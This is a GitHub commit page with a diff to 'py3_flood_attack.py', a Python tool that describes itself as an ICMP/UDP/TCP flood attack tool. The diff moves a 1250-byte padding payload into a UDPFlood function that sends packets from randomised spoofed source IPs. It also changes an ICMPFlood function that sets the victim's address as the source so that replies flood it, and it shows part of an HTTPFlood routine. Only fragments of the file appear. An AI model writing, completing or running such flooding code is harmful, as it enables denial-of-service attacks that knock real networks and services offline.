Skip to content

Commit d7305ab

Browse files
committed
fix : Refactoring
1 parent 8fc352e commit d7305ab

File tree

1 file changed

+5
-3
lines changed

1 file changed

+5
-3
lines changed

py3_flood_attack.py

+5-3
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@
55
import threading
66
import time
77

8-
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
8+
99
# ICMP/UDP/TCP Flood Attack Tool
1010
def main():
1111
print("______ _ _ ___ _ _ _ _____ _ ")
@@ -104,6 +104,7 @@ def HTTPFlood(dstIP,dstPort,repeat):
104104
print("-"*35 + "Error Occured during Sending packets"+35*"-"+"\n")
105105

106106
def UDPFlood(dstIP,dstPort,repeat):
107+
data = "A"*1250
107108
for x in range(repeat):
108109
IP_Packet = IP()
109110
IP_Packet.src = randomSrcIP()
@@ -119,8 +120,9 @@ def ICMPFlood(dstIP,dstPort,repeat):
119120
IP_Packet = IP()
120121
IP_Packet.src = dstIP
121122
IP_Packet.dst = randomSrcIP()
122-
IP_Packet.proto='icmp'
123123
ICMP_Packet = ICMP()
124-
send(IP_Packet/ICMP())
124+
send(IP_Packet/ICMP(),verbose=False)
125+
print("-"*35 + "ICMP Packet is Successfuly sended"+35*"-"+"\n")
126+
125127

126128
main()

0 commit comments

Comments
 (0)